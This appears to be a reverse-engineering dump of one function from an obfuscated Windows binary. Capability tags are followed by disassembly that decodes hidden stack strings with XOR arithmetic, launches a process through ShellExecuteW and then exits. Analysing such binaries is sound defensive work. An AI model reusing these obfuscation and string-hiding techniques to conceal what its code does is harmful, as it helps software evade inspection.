Function at 0x140157130
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
nop
mov qword [rsp - 8], rdi
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], r12
nop
sub rsp, 8
mov qword [rsp], r14
nop
mov qword [rsp - 8], r15
sub rsp, 8
lea rbp, [rsp - 0x2070]
mov eax, 0xa890462
add eax, 0x5c65dd0
add eax, 0x3c258ec1
sub eax, 0x3ff8d633
add eax, 0x4904d63e
sub eax, 0x5580cf8e
call fcn.1401fd050
sub rsp, rax
mov r15, rdx
mov r12, rcx
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x140157a97
xchg rcx, rdx
mov rdx, rcx
xchg rdx, rcx
call fcn.140070460
cmp rax, 3
jb 0x140157926
lea edx, [rsi + 1]
mov rcx, r15
call fcn.14004e1f0
mov dl, 0x34
sub dl, 0x2a
xor dl, 6
xor dl, 0x4c
add dl, 0x1b
add dl, 0x10
sub dl, 0x6a
xchg rcx, r10
mov r10, rax
xchg r10, rcx
call fcn.14007df60
test al, al
je 0x140157926
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
mov rcx, qword [r12]
call fcn.140163b70
nop
xchg rdi, r10
mov r10, qword [r12]
xchg rdi, r10
lea rcx, [rdi + 0x308]
call fcn.14007eb10
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea edx, [rsi + 2]
xchg r15, rbx
mov rcx, rbx
xchg rbx, r15
call fcn.14004e1f0
lea rdx, [rbp - 0x80]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e560
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
xchg r10, rcx
mov r10, rbx
xchg rcx, r10
call fcn.1400527b0
nop
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.1401761e0
mov rbx, rax
lea rcx, [rbp - 0x20]
call fcn.14007b3d0
xchg r9, rbx
mov rbx, r9
xchg rbx, r9
xchg r8, r12
mov r12, rax
xchg r8, r12
lea edx, [rsi + 0x40]
mov rcx, rdi
call fcn.14016e3b0
nop
lea rcx, [rbp + 0x28]
call fcn.140029b90
nop
lea rcx, [rbp - 0x80]
call fcn.14004c690
mov rcx, r15
call fcn.140070460
cmp rax, 4
jb 0x14015791d
xchg r8, rcx
mov r8, qword [r12]
xchg r8, rcx
neg rcx
add rcx, 0xfffffffffffffcf8
neg rcx
call fcn.14007eb10
xchg rbx, rdx
mov rdx, rax
xchg rbx, rdx
lea edx, [rsi + 3]
mov rcx, r15
call fcn.14004e1f0
lea rdx, [rsp + 0x60]
xchg r9, rax
mov rcx, r9
xchg r9, rax
call fcn.14007e560
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rcx, rbx
mov rbx, rcx
xchg rcx, rbx
call fcn.1400527b0
nop
lea rcx, [rsp + 0x60]
call fcn.14004c690
lea rcx, [rbp - 0x60]
call fcn.1401790e0
cmp rax, 8
jb 0x1401576b3
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call 0x1401790f0
nop
mov dword [rbp + 0x20b0], 0x489a5de1
sub dword [rbp + 0x20b0], 0x2a9392db
sub dword [rbp + 0x20b0], 0xb34189a
sub dword [rbp + 0x20b0], 0xeba82fb
add dword [rbp + 0x20b0], 0x572b2cde
sub dword [rbp + 0x20b0], 0x5b435c4e
xchg r10, rax
mov rcx, r10
xchg r10, rax
call fcn.1401761e0
xchg r13, rax
mov rdx, r13
xchg r13, rax
lea rcx, [rbp + 0x10]
call fcn.14007ac50
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
mov dword [rbp + 0x20b0], 0x728b4927
xor dword [rbp + 0x20b0], 0x14fe86df
sub dword [rbp + 0x20b0], 0x2a29d9a5
xor dword [rbp + 0x20b0], 0x50313812
sub dword [rbp + 0x20b0], 0x3b83c5f7
xor dword [rbp + 0x20b0], 0x1d1a4a8a
xor dword [rbp + 0x20b0], 0x3aed69be
sub dword [rbp + 0x20b0], 0x17002b7b
mov dword [rsp + 0x40], 0x46992b8a
add dword [rsp + 0x40], 0x2ed5d54f
xor dword [rsp + 0x40], 0x649a02bd
add dword [rsp + 0x40], 0x54be4eb5
xor dword [rsp + 0x40], 0x2fbfa6d0
add dword [rsp + 0x40], 0x25e993db
sub dword [rsp + 0x40], 0x2af88339
add dword [rsp + 0x40], 0xb2f8ee8b
mov dword [rsp + 0x4a], 0x1a71b213
add dword [rsp + 0x4a], 0x5cc26303
sub dword [rsp + 0x4a], 0x56ecabd2
xor dword [rsp + 0x4a], 0x47aa9e4
sub dword [rsp + 0x4a], 0x4bf1d66
add dword [rsp + 0x4a], 0x3d12c5f3
sub dword [rsp + 0x4a], 0x38c3a338
sub dword [rsp + 0x4a], 0x15d92172
add dword [rsp + 0x4a], 0xf18a5aef
mov dword [rsp + 0x4e], 0x7401881
add dword [rsp + 0x4e], 0x25d36ab4
xor dword [rsp + 0x4e], 0x1a7f1aad
sub dword [rsp + 0x4e], 0x20461ba
sub dword [rsp + 0x4e], 0x26ff6dc0
xor dword [rsp + 0x4e], 0xccee051
xor dword [rsp + 0x4e], 0xf5c8a65
add dword [rsp + 0x4e], 0x3022d6c2
add dword [rsp + 0x4e], 0xc15d8892
mov dword [rsp + 0x44], 0x36b92da9
xor dword [rsp + 0x44], 0x47218d
add dword [rsp + 0x44], 0xb58c5d5
add dword [rsp + 0x44], 0x2cb0c578
xor dword [rsp + 0x44], 0x5aaf9770
add dword [rsp + 0x44], 0x3094a10e
sub dword [rsp + 0x44], 0x1fad5802
sub dword [rsp + 0x44], 0x2fe6545d
add dword [rsp + 0x44], 0xe04e0246
mov dword [rsp + 0x52], 0x16ea8536
add dword [rsp + 0x52], 0xa60a25e
xor dword [rsp + 0x52], 0x54230db0
sub dword [rsp + 0x52], 0x3e5379e3
add dword [rsp + 0x52], 0x3fb467a4
xor dword [rsp + 0x52], 0x4590ca91
add dword [rsp + 0x52], 0xcbeb2209
mov dword [rsp + 0x56], 0x48cb54b3
add dword [rsp + 0x56], 0x27165694
xor dword [rsp + 0x56], 0x68b7125
sub dword [rsp + 0x56], 0x2dbf9983
add dword [rsp + 0x56], 0x1041f422
add dword [rsp + 0x56], 0xb34cca38
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 0x12
xor byte [rsp + rdx + 0x40], 0x7b
xor byte [rsp + rdx + 0x40], 0xf
xor byte [rsp + rdx + 0x40], 0x7a
add byte [rsp + rdx + 0x40], 0x29
add byte [rsp + rdx + 0x40], 0x39
add byte [rsp + rdx + 0x40], 0
xor byte [rsp + rdx + 0x40], 0x7e
inc rdx
cmp rdx, 8
jb 0x140157581
mov dword [rbp + 0x20b0], 0x7f6295bf
sub dword [rbp + 0x20b0], 0x4b641faa
add dword [rbp + 0x20b0], 0x425c7fb2
xor dword [rbp + 0x20b0], 0x2b7e9b6d
sub dword [rbp + 0x20b0], 0x226bada
sub dword [rbp + 0x20b0], 0x5afdb3c9
movups xmm0, xmmword [rsp + 0x40]
xchg r9, rbp
movaps xmmword [r9 - 0x40], xmm0
xchg rbp, r9
movsd xmm1, qword [rsp + 0x50]
xchg rsi, rbp
movsd qword [rsi - 0x30], xmm1
xchg rsi, rbp
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007c300
nop
mov r14d, 0x29731f60
xor r14d, 0x440f95e
add r14d, 0x1630f09e
xor r14d, 0x22f146b3
sub r14d, 0x5632e2b4
add r14d, 0x18090bef
sub r14d, 0x4b2869
sub r14d, 0x23209132
mov dword [rbp + 0x20b0], r14d
xchg r8, rdx
mov r8, rax
xchg r8, rdx
xchg rbx, r13
mov rcx, r13
xchg r13, rbx
call fcn.14007b350
test al, al
je 0x1401576b3
mov bl, 0x1b
add bl, 0x5b
sub bl, 0x65
add bl, 0x3d
xor bl, 2
add bl, 0x26
sub bl, 0x53
xor bl, 0x1e
jmp 0x1401576b5
xor bl, bl
test r14b, 8
je 0x1401576d4
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007b050
nop
test r14b, 4
je 0x14015772d
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
xchg rsi, r9
mov rax, r9
xchg r9, rsi
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x53
sub byte [rsp + rax + 0x4a], 0x41
add byte [rsp + rax + 0x4a], 0x64
sub byte [rsp + rax + 0x4a], 0x66
add byte [rsp + rax + 0x4a], 0x18
add byte [rsp + rax + 0x4a], 0x54
xor byte [rsp + rax + 0x4a], 0x7c
inc rax
cmp rax, 0x10
jb 0x1401576fd
test r14b, 2
je 0x14015774c
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007b050
nop
test r14b, 1
je 0x14015776a
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029b90
test bl, bl
je 0x140157913
lea rcx, [rbp - 0x60]
call fcn.1401761e0
xchg r14, r8
mov r14, rax
xchg r14, r8
mov dword [rsp + 0x30], 0x571424c5
sub dword [rsp + 0x30], 0x3e7e992d
add dword [rsp + 0x30], 0x4381b503
sub dword [rsp + 0x30], 0x1687c4a5
sub dword [rsp + 0x30], 0xd2b5523
add dword [rsp + 0x30], 0x8bb2034
xor dword [rsp + 0x30], 0xb7e9b1f1
mov dword [rsp + 0x36], 0x22e45d6a
xor dword [rsp + 0x36], 0x33bcfaa6
add dword [rsp + 0x36], 0x303d00dd
sub dword [rsp + 0x36], 0x5a500fe
add dword [rsp + 0x36], 0xcd26343
xor dword [rsp + 0x36], 0x680ef008
add dword [rsp + 0x36], 0x22738c00
sub dword [rsp + 0x36], 0x39a0b40b
add dword [rsp + 0x36], 0xf5da2c9e
mov dword [rsp + 0x3a], 0x62935700
xor dword [rsp + 0x3a], 0x11cbe23c
sub dword [rsp + 0x3a], 0x72220f08
add dword [rsp + 0x3a], 0x252e3fd9
add dword [rsp + 0x3a], 0x28383e9b
xor dword [rsp + 0x3a], 0xb1e5dbc7
xor eax, eax
mov word [rsp + 0x3e], ax
xchg rsi, rax
mov rsi, rax
xchg rsi, rax
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], reloc.SHLWAPI.dll_SHCreateMemStream
add byte [rsp + rax + 0x30], 0xa
add byte [rsp + rax + 0x30], 0x31
add byte [rsp + rax + 0x30], 0x15
xor byte [rsp + rax + 0x30], 0x44
sub byte [rsp + rax + 0x30], 0x18
inc rax
cmp rax, 4
jb 0x140157849
mov dword [rsp + 0x28], 0x943ed4c
add dword [rsp + 0x28], 0x51076c0b
sub dword [rsp + 0x28], 0xb28d967
xor dword [rsp + 0x28], 0x67d9ca53
xor dword [rsp + 0x28], 0x74a2e05c
sub dword [rsp + 0x28], 0x1e57c4c
xor dword [rsp + 0x28], 0x4a402715
xor dword [rsp + 0x28], 0x1033fea7
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], 0x7b
xor byte [rsp + rsi + 0x36], 0x14
sub byte [rsp + rsi + 0x36], 0x40
add byte [rsp + rsi + 0x36], 0x2c
add byte [rsp + rsi + 0x36], 0x10
xor byte [rsp + rsi + 0x36], 0x21
xor byte [rsp + rsi + 0x36], 0x70
sub byte [rsp + rsi + 0x36], 0x3a
inc rsi
cmp rsi, 8
jb 0x1401578de
lea rcx, [rbp - 0x60]
call fcn.140029b90
nop
lea rcx, [rbp - 0x20]
jmp 0x140157a92
mov r9d, 0xb1e705f
add r9d, 0x268b47cd
xor r9d, 0x2bb072d0
add r9d, 0x8133200
add r9d, 0x288009f6
xor r9d, 0x216bf253
add r9d, 0x94390b5e
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
mov rcx, qword [r12]
call fcn.140163b70
nop
mov r9d, 0x183dd2a0
add r9d, 0xc3c9a2a
add r9d, 0x4a6a74f6
xor r9d, 0x223c9692
sub r9d, 0x2dbab845
xor r9d, 0x2bccfcfb
add r9d, 0xcb2ebc09
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
mov rcx, qword [r12]
call fcn.140163b70
nop
xor edx, edx
mov r8d, 0x1c1530e3
add r8d, 0x4c01110b
sub r8d, 0x35d75d40
xor r8d, 0x74f60785
xor r8d, 0x29562333
sub r8d, 0x3e36be74
sub r8d, 0x1f0da969
add r8d, 0x69a7ab12
sub r8d, 0x7c01e34d
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
xchg rcx, rsi
mov rsi, qword [r12]
xchg rsi, rcx
add rcx, 0x4eab724f
sub rcx, 0x4eab6cef
call fcn.14007b7d0
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007b7d0
xchg rbx, r11
mov r8, r11
xchg r11, rbx
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140086d90
xchg rbx, r14
mov r14, qword [r12]
xchg rbx, r14
lea rcx, [rbp - 0x80]
call fcn.14007b3d0
lea r9, [rbp + 0x70]
xchg rbp, rax
mov r8, rbp
xchg rbp, rax
mov edx, 0x3a7e1f17
sub edx, 0x1497843e
xor edx, 0x1b90ecc8
sub edx, 0x23584b31
add edx, 0x60508a15
sub edx, 0x6e05343
xor edx, 0x748e61f2
mov rcx, rbx
call fcn.14016e3b0
nop
lea rcx, [rsp + 0x60]
call fcn.14007b050
nop
lea rcx, [rbp - 0x80]
call fcn.14007b050
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3